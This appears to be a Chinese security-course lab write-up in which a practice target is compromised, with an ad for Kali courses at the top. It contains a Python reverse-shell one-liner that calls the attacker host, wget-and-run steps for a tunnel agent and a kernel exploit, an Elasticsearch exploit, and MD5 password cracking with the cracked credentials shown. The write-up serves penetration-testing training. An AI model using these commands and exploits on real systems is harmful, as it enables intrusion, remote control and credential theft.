也许你没有看过《Kali Linux 渗透测试》这门课程,但你一定听说过!这门课别名【177】(有177个课时),在众多 Kali 课程中,这门课程以其卓越的质量和完善的教学体系脱颖而出,讲师是苑房弘老师。
苑房弘老师5门课程免费学
1、OSCP all in one【高效备考】
2、Kali Linux 渗透教程
3、Web安全基础
4、Windows应急响应
5、Kali Linux 安装配置和优化
扫码回复“课程”免费领取
1
靶机目标
获取靶机root权限
2
工具准备
Venom下载地址:https://github.com/Dliv3/Venom/
MD5密码查询网站:https://cmd5.com/
3
详细步骤
一、网络扫描
1、同网段IP地址扫描:
sudo arp-scan -I eth0 -l
发现靶机IP地址为192.168.0.109
2、对目标靶机进行全端口扫描
sudo nmap -p- 192.168.0.109
发现目标靶机开放了TCP22、5000端口
3、识别靶机端口开放服务
sudo nmap -p22,5000 -sV 192.168.0.109
发现TCP5000端口,开放有Python2,Web服务
二、Web信息收集
1、用浏览器访问http://192.168.0.109:5000,但在页面上并没有发现有用的信息
2、对http://192.168.0.109:5000进行目录扫描
sudo dirsearch -u http://192.168.0.109:5000
发现存在/admin目录
三、Web 命令执行漏洞与反弹Shell
1、浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令
2、使用Python反弹shell
●使用nc在Kali主机上监听TCP5555端口
sudo nc -lnvp 5555
●在http://192.168.0.109:5000/admin输入Python Shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
●发现收到Shell为docker主机的root权限
Tip:判断主机为Docker容器的两种方法:
方法一:确认根目录下是否存在.dockerenv文件
ls /.dockerenv
方法二:查看/proc/1/cgroup是否存在docker目录
cat /proc/1/cgroup
四、内网穿透
1、内网扫描
●ip address 发现内网段为172.17.0.3/16网段
●内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机
for i in $(seq 1 254); do ping -c 1 172.17.0.$i; done
2、部署Venom内网穿透工具
●在Kali主机Venom目录启动Python3 Http Server
python3 -m http.server 80
●启动Venom管理端,监听本地9999端口
./admin_linux_x64 -lport 9999
●靶机部署Venom客户端
cd /tmp
wget -c http://192.168.0.108/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 192.168.0.108 -rport 9999
在Kali主机Venom管理端可以看到有主机上线
查看、控制Venom节点、启动socks隧道
五、挂Socks内网扫描
●修改proxychains配置
vi /etc/proxychains4.conf
修改最后一行为:
socks5 127.0.0.1 1080
●挂代理启动扫描,发现172.17.0.1,172.17.0.3相同,172.17.0.2存在9200端口
sudo proxychains nmap -Pn -sT -sV 172.17.0.1
sudo proxychains nmap -Pn -sT -sV 172.17.0.2
sudo proxychains nmap -Pn -sT -sV 172.17.0.3
六、利用Elasticsearch获取目标靶机登录用户名和密码
●搜索Elasticsearch漏洞
searchsploit Elasticsearch
●复制36337.py到当前目录,通过查看该python脚本得知该使用python2
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
●向Elasticsearch写入一条数据(如果不写入数据,攻击代码无法执行)
proxychains curl -XPOST '172.17.0.2:9200/twitter/user/yren' -d '{"name":"Wu"}'
●挂proxychains攻击172.17.0.2 9200端口
sudo proxychains python2 36337.py 172.17.0.2
●查询用户身份,发现是root权限
●在根目录下发现passwords文件,内含用户名一些用户名和密码
●破解MD5加密明文(两种方法)
○方法一:使用Hashcat破解
根据Format提示,密码是由8位组成,前四位是数字,后四位是小写字母,可以是用Hashcat
1. 把hash提取出来,保存为一个文件pwd.hash
2. -m 0 指哈希类型是md5;-a 3 指掩码攻击;?d代表数字;?l代表小写字母
cat pwd.hash
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
hashcat --username -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force
hashcat --username -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force --show
john:3f8184a7343664553fcb5337a3138814:1337hack
test:861f194e9d6118f3d942a72be3e51749:1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b:1111pass
root:b3d34352fc26117979deabdf1b9b6354:1234pass
jane:5c158b60ed97c723b673529b8a3cf72b:1234jane
○方法二:使用第三方密码查询平台(如:https://cmd5.com/)获取明文密码
●通过依次尝试,john:1337hack可以登录目标靶机
ssh [email protected]
七、Linux内核提权
●尝试john用户提权,但提权失败
sudo -s
●尝试内核提权
○查询内核版本号,版本3.13
uname -a
○搜索关键字
searchsploit linux 3.13.0 ubuntu priv
○由于靶机没有gcc,且查看37292.c脚本发现,还需编译ofs-lib.so文件。所以考虑把ofs-lib.so文件从lib文件复制出,并注释掉37292.c相关代码再便宜,并将编译后的文件和ofs-lib.so共同上传目标靶机
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
注释掉37292.c的139-147行
gcc -o exp 37292.c
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
○将编译好的exp和ofs-lib.so上传至目标靶机
kali主机在tmp目录启动http server
python3 -m http.server 80
在靶机上下载exp和ofs-lib.so
cd /tmp
wget http://192.168.0.108/exp
wget http://192.168.0.108/ofs-lib.so
○执行exp文件,提权成功。
chmod +x exp
./exp
id
相关阅读:
原文始发于微信公众号(安全牛课堂):打靶总结-过程及思路系列30
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论